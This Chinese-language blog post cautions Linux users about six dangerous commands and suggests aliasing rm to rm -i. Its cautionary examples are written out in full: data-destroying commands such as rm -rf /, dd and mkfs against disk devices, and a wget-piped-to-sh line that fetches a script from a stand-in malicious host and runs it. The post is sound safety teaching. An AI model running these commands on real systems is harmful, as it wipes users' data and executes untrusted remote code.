1. 程式人生 > >Linux操作系統上要慎用的6個命令及防範方法

Linux操作系統上要慎用的6個命令及防範方法

操作 上一個 生產環境 成功 linux平臺 則表達式 lock 及其 alt

  Linux操作系統上要慎用的6個命令及防範方法

  基於Linux平臺工作的童鞋都知道Linux命令行使用起來非常高效和快捷,但有時候也很危險,尤其是在你不確定你自己在正在做什麽時候(別笑,別以為自己真的知道自己想幹啥)。各大互聯網公司因為在後臺執行命令不慎導致數據庫被刪除和服務宕機的事情屢見不鮮,本文就給大家介紹一下Linux下比較危險的命令,引以為戒,在使用的時候一定要萬分小心!

  rm -rf命令

  把這個命令放到第一個,是因為它有不少故事,你懂的。rm -rf命令是刪除整個文件夾最快的方式之一。它可以刪除允許範圍內的任何文件和文件夾,稍有不慎就可能導致不可恢復的系統崩潰。這裏面涉及2個選項,都是非常方便,但又非常恐怖的。

  -r 該選項使得rm命令遞歸的刪除文件夾,甚至是空的文件夾。

  -f 該選項使得rm命令能不經過詢問直接刪除‘只讀文件’。

  rm -rf / :強制刪除根目錄下所有東東。

  rm -rf *: 強制刪除當前目錄的所有文件。

  rm -rf . :強制刪除當前文件夾及其子文件夾。

  這些命令都是非常強悍的,因此在使用的時候一定要萬分的消息。另外,在使用rm命令且帶有rf選項時一定要慎用正則表達式,稍有錯誤就造成不可挽回的所示。

  mv 文件夾 /dev/null

  mv命令其實跟rm命令有著相同的危險程度。這個命令會移動某個‘文件夾‘到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被丟棄,然後返回寫操作成功。

  # mv /mnt/data/* /dev/null

  上列命令會將data目錄所有內容移動到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。

  命令 > /dev/sda

  標題命令會將某個‘命令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。

  mkfs.ext3 /dev/sda

  與上一個命令一樣,這個命令會格式化塊設備‘sda’,你無疑知道在執行上列命令後你的塊設備(硬盤驅動器)會被格式化,嶄新的,沒有任何數據,直接讓你的系統達到不可恢復的階段。當然,該命令在執行的時候回檢查磁盤是否已經格式化,但不能保證那個楞頭楞腦的兄弟強制執行。這裏只是個例子,除了ext3,任何格式化的命令在使用的時候都要小心,小心,小心!

  dd if=/dev/random of=/dev/sdb

  dd命令也是一個比較危險的命令,如標題命令令會向塊設備sdb寫入隨機的垃圾文件從而擦除該磁盤上的數據。如果該盤是數據盤,將會導致磁盤文件系統的損壞,進而丟失上面所有數據;如果是系統盤將直接導致系統陷入混亂和不可恢復的狀態。

  wget http://malicious_source -O- | sh

  標題命令會從一個網站下載一個腳本並執行,有時候你並不知道這個腳本真的在做什麽(這就是開頭說的有時候你不確定你要做什麽)。wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。如果這個腳本是惡意程序,則會產生不可預料的後果。

  你應該時刻註意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。

  危險命令的防範

  我們沒法保證任何人都了解這些命令的危險性,因此做到未雨綢繆很重要。以rm命令為例,我們可以通過別名的方式避免登錄本無服務器的任何人誤用。具體方法是在“.bashrc”文件對‘rm’命令創建rm -i的別名,來預防用‘rm‘命令刪除文件時的事故,它會要求你確認每一個刪除請求。具體如圖2所示,這樣在該服務器上執行rm 其實是執行rm -i。

技術分享圖片

  圖2 設置命令的別名

  最後囑咐大家,一定要慎用這些命令,有其在生產環境。

Linux操作系統上要慎用的6個命令及防範方法